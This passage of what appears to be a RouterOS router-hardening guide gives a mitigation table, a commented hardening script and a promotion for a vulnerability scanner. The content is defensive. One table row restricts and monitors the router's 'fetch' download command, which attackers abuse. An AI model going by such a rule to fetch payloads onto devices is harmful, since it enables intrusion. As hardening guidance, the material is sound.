| Disable the WWW service | Disable WebFig: /ip service disable www,www-ssl — use WinBox or SSH instead |
High |
| Enable strong crypto | /ip ssh set strong-crypto=yes and /ip service set ssh address=10.0.0.0/8 |
Medium |
| Restrict fetch command | Remove access to fetch via Dude / script policies for non-admin accounts; monitor scheduler for fetch commands | Medium |
| Regular config backups | Export configuration regularly and compare against baseline to detect unauthorized changes | Medium |
# Minimal RouterOS hardening — apply immediately after deployment
# Run via SSH or paste into terminal
# 1. Set a strong admin password
/user set admin password="ChangeThisToAStrongPassword!"
# 2. Restrict all management services to internal subnet only
/ip service set telnet disabled=yes
/ip service set ftp disabled=yes
/ip service set www disabled=yes
/ip service set www-ssl disabled=yes
/ip service set api disabled=yes
/ip service set api-ssl disabled=yes
/ip service set winbox address=10.0.0.0/8
/ip service set ssh address=10.0.0.0/8
# 3. Enable strong SSH crypto
/ip ssh set strong-crypto=yes
# 4. Disable SNMP (enable and configure SNMPv3 only if monitoring required)
/snmp set enabled=no
# 5. Disable neighbor discovery on WAN interface (leaks identity)
/ip neighbor discovery-settings set discover-interface-list=LAN
# 6. Firewall: drop management port access from WAN
/ip firewall filter add chain=input action=drop \
in-interface-list=WAN \
dst-port=8291,8728,8729,22,23,21,80,443 \
protocol=tcp \
comment="Block management from WAN" place-before=0
# 7. Enable syslog forwarding
/system logging action set remote bsd-syslog=yes remote=10.0.0.5 src-address=0.0.0.0
/system logging add topics=system,critical,warning action=remote
# 8. Verify current service state
/ip service print
Ironimo automatically scans for CVE-2018-14847, CVE-2023-30799, default credentials, open management APIs, SNMP misconfigurations, and dozens of other RouterOS vulnerabilities — delivering prioritized findings without manual tooling.
Start free scan